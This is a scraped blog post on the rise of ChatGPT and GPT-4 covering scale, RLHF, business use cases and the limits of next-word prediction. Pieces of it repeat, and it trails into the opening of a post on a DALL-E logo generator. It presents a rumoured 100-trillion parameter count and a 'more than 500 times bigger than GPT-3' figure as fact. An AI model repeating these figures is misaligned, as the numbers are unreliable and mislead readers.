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Share this post | scraping/output/3520021509623102613.txt | [
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## The power and pitfalls of large language models
The domain of artificial intelligence has been synonymous with exponential
growth for the past 10 years.
For an innovation to stand out in this field, where disruption is business-as-
usual, it must be nothing short of spectacular. And spectacular is exactly how
we can describe the recent progress in language understanding & generation
through innovations such as ChatGPT and GPT-4.
Source: Our World in Data
All this is impressive but begs a simple question: what is in it for you?
In what follows, we will aim to answer exactly this question by discussing the
disruptive potential of these technologies. We will also explore the
limitations of these models and focus on how we can overcome these challenges.
Because after all:
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> “The pessimist sees difficulty in every opportunity.
> The optimist sees opportunity in every difficulty”
### Why now?
ChatGPT and GPT-4 have taken the world of natural language processing by
storm. Enthusiasts see the dawn of human-level AI, researchers see nothing
special and skeptics see a reason to start stockpiling toilet paper.
Before we explore how we can leverage these breakthroughs to gain a strategic
edge, let’s consider why we are seeing this progress in the first place.
It will be a surprise to many that the working principle behind ChatGPT and
GPT-4, called the “transformer”, has been around since 2017.
As the “4” in GPT-4 suggests, what we are seeing now is not so much a radical
shift in how to generate text as it is the culmination of 6 years worth of
incremental improvements on the same method.
In the words of Steve Jobs:
“If you look really closely, most overnight successes took a long time”
That said, it still begs the question of why now? | scraping/output/3520021509623102613.txt | [
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In the words of Steve Jobs:
“If you look really closely, most overnight successes took a long time”
That said, it still begs the question of why now?
The answer to that question is threefold:
👉 Bigger and better
👉 Incorporating human feedback with RLHF
👉 People can’t buy what they don’t know
### Bigger and better
A simple truth about understanding natural language is that you have to
account for a vast number of subtle nuances. If GPT-4’s parameter count is to
be believed, we are talking about 100 trillion of these nuances.
The bigger a model, the more capacity it has to understand finer and finer
nuances. In turn, the evergrowing computational resources and available data
on the internet allow us to leverage this capacity.
It is a well-known secret in AI that the same model but bigger will inevitably
be better. ChatGPT and especially GPT-4 are much bigger than their
predecessors which has significantly boosted their performance. | scraping/output/3520021509623102613.txt | [
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This trend has its limits though. Adding more capacity will fail to add value
once we have reached enough parameters to capture even the finest nuances of
human language. Needless to say, this limit is not yet in sight.
GPT-3 is huge but GPT-4 is more than 500 times bigger
### Incorporating human feedback with RLHF
The biggest difference between ChatGPT & GPT-4 and their predecessors is that
they incorporate human feedback. The method used for this is Reinforcement
Learning from Human Feedback (RLHF).
It is essentially a cycle of continuous improvement. The system generates a
text; the user gives some implicit or explicit feedback about what it could do
better (e.g., give a more detailed response); the system uses this information
to become better.
| scraping/output/3520021509623102613.txt | [
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The idea of RLHF has also been around since 2017. 2017 was a great year for
2023 breakthroughs. It has not been widely used until recently because
collecting human feedback was always seen as a bottleneck in the era of big
data. After all, a computer can churn through significant proportions of the
internet within a matter of days whereas we humans get distracted after
reading half of one article.
The only way to really leverage RLHF at scale would be if ChatGPT and GPT-4
had a massive user base that is providing constant feedback.
It looks like that is where you and I come in.
### People can’t buy what they don’t know
While the rise of ChatGPT may have seemed to come out of left field for many,
the NLP community has made tremendous breakthroughs over the past years, many
of which had the potential to garner a similar level of interest from the
general public. | scraping/output/3520021509623102613.txt | [
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Until now, however, these breakthroughs were never able to create real
awareness among the wider public. In the words of Warren Buffett: “if you
can’t communicate, it’s like winking at a girl in the dark — nothing happens”.
What OpenAI has done masterfully is (i) packaging its technology in an
accessible & intuitive application and (ii) spreading mass awareness about
what they are doing.
Partly to increase the adoption of AI in impactful use cases and position
themselves as the frontrunner in the process.
Partly to keep the RLHF flywheel spinning and make their products better and
better.
RLHF flywheel
### The power of AI
Where AI models used to be targeted problem solvers, we are now seeing broad &
versatile AI systems that have abilities ranging from creative writing to
computer programming.
We are moving from many individual tools in our AI toolbelt to a few AI Swiss
Army knives. | scraping/output/3520021509623102613.txt | [
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This new paradigm unlocks a plethora of possibilities to gain a competitive
advantage. Even though the release of ChatGPT and GPT-4 is barely in the
rearview mirror, we can already see early adopters embracing these
technologies and leveraging their disruptive potential to position themselves
at the forefront of their respective industries.
Some concrete examples include:
* Customer support: Intercom leverages ChatGPT as a writing aid for support operators to accelerate and improve the customer support process (link). Soon, it will launch its customer support chatbot Fin (link) built on GPT-4 which will allow them to provide a fast & qualitative solution to a major problem faced by many businesses.
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* Education: Duolingo aims to revolutionize the language learning process by offering its new Duolingo Max application (link). It leverages GPT-4’s (multi-)language capabilities to offer a highly personalized yet scalable learning platform which is at the core of their strategy.
* Technology: Whimsical integrated the creative potential of large language models in their AI mind maps (link). They provide a creative and collaborative experience to their users — significantly facilitating and speeding up the brainstorming process.
Looking beyond current use cases, we foresee ChatGPT and GPT-4 making a big
impact on knowledge discoverability.
We expect companies and governments to create a question-answering layer on
top of their internal data to allow for the intuitive retrieval of knowledge
present in the organization.
In particular, we foresee an especially major impact in knowledge-driven
sectors such as legal, media and government. | scraping/output/3520021509623102613.txt | [
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In particular, we foresee an especially major impact in knowledge-driven
sectors such as legal, media and government.
To illustrate with some examples, this can:
* Allow legal firms to use the knowledge accumulated in past rulings & cases to make the most informed decisions going forwards.
* Allow media companies to enable their users to derive the concrete insights they are looking for from its media coverage, thus creating a more engaging and personalized user experience.
* Allow governments to turn their legislation from archaic archived documents into an interactive knowledge base that the wider public can query to remain informed.
### Is the sky the limit?
In order to fully understand the limitations of technologies like ChatGPT, it
is important to understand their high-level working principle. | scraping/output/3520021509623102613.txt | [
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### Is the sky the limit?
In order to fully understand the limitations of technologies like ChatGPT, it
is important to understand their high-level working principle.
Winston Churchill once said: “out of intense complexities, intense
simplicities emerge”.
In the case of ChatGPT and GPT-4, we argue quite the opposite: “out of intense
simplicities, intense complexities emerge”.
It will come as a surprise to many that really any modern text generation
system works under a very simple premise. They are all systems that predict
the next word in a sentence. Nothing more, nothing less.
They start chaining words together one after another with the aim to construct
the most statistically likely sequence of words, given the original prompt.
At ML6, we like to visualize this process as a random walk of words.
A random walk of words | scraping/output/3520021509623102613.txt | [
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At ML6, we like to visualize this process as a random walk of words.
A random walk of words
This implies that technologies like ChatGPT never truly reason about the
message they want to convey. This lack of explicit reasoning leads to
limitations in terms of reliability, controllability and ethics.
Significant effort is being put into building guardrails around what these
systems can produce in order to circumvent this fundamental issue. Another
promising avenue is linking generated information to sources in order to allow
for convenient fact-checking.
Nevertheless, it is important to keep in mind that such remedies, while quite
effective, are still symptomatic solutions that aim to patch a fundamental
limitation. | scraping/output/3520021509623102613.txt | [
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Nevertheless, it is important to keep in mind that such remedies, while quite
effective, are still symptomatic solutions that aim to patch a fundamental
limitation.
In the long term, we believe that we are still one paradigm shift away from
having fundamentally trustworthy and reliable large language models; a
paradigm where language is seen as more than a statistically likely sequence
of words and text is generated starting from a preconceived idea. | scraping/output/3520021509623102613.txt | [
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Furthermore, the current dependence on OpenAI (and Microsoft) should not be
underestimated. While we believe that open-source alternatives to OpenAI’s
services will inevitably appear, we should be mindful of the new barriers to
entry in the era of large language models.
For one, open-source initiatives will be confronted with the need for more
computational resources in order to train models with a comparable size to
ChatGPT and GPT-4.
In addition, the lack of access to the human feedback OpenAI has amassed over
time will pose a challenge to approaching comparable performance.
### What’s in it for you?
In conclusion, technologies like ChatGPT and GPT-4 are here to stay. | scraping/output/3520021509623102613.txt | [
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] |
### What’s in it for you?
In conclusion, technologies like ChatGPT and GPT-4 are here to stay.
* There will be businesses that perceive this as a threat to fight back against and who will inevitably get stuck in the status quo.
* There will be businesses that perceive this as an opportunity and who will gain a strategic edge over their competitors. The first of which are already showing themselves.
We believe that the companies that:
(i) Recognize both the power & limitations of large language models and
(ii) Embed these technologies into their core business
will succeed in establishing themselves as the frontrunners in the ever-
evolving digital landscape.
We will leave you with a last quote (promised) from Disney’s CEO Bob Iger:
> The riskiest thing we can do is just maintain the status quo
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Large Language Model | scraping/output/3520021509623102613.txt | [
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Machine Learning Engineer
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### Developing a DALL-E-based logo generator
It is estimated that people are exposed to over five thousand ad messages per
day. Companies, products, organizations all try to represent themselves in a
visually appealing and distinctive way. Large players sometimes spend huge
sums of money to develop their brand but the rest of us often have to
bootstrap and turn to online logo creators such as Looka or Tailor Brands as a
starting point. These services allow you to create a logo in just a few clicks
by selecting text, visual elements and style characteristics. Putting together
a logo is generally free but if you want to download a high-quality,
vectorized version you have to pay a small sum.
| scraping/output/7210817159672759601.txt | [
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Proposed logos for a ‘design company’
Logo generators serve a specific market and the resulting logos look slick.
However, the generation process is largely ‘template-based’ whereby a fixed
number of visual elements such as icons, fonts and colors are combined in
predetermined ways. | scraping/output/7210817159672759601.txt | [
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In a way, template-based logo generators are comparable to clever, interactive
cookbooks. But what if you could have an actual chef to come to your house and
cook a unique meal instead? Generative AI models such as OpenAI’s DALL-E 1 and
2 and Google’s Imagen and Parti have shown that they are able to combine and
integrate complex concepts and translate them into high quality visual
representations, if not indistinguishable from human creativity then closely
akin to it. What if we could make a specialized generative AI model to
generate truly creative and meaningful logos, not clever combinations of
premade elements but as good as the real thing? On top of this, hidden within
logos is a common symbolic understanding of the significance and meaning they
try to convey (semiotics). Could we get an AI model to comprehend this meaning
and not simply create “attractive” logos, but logos which fit with our human
expectations and conventions? This blogpost documents the development of a | scraping/output/7210817159672759601.txt | [
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and not simply create “attractive” logos, but logos which fit with our human
expectations and conventions? This blogpost documents the development of a
proof-of-concept demonstrator of a DALL-E-like model for generating logos. We
discuss data collection, preprocessing, caption generation, model training and
results. If you want to jump straight to the interactive demo you can go to
Replicate. | scraping/output/7210817159672759601.txt | [
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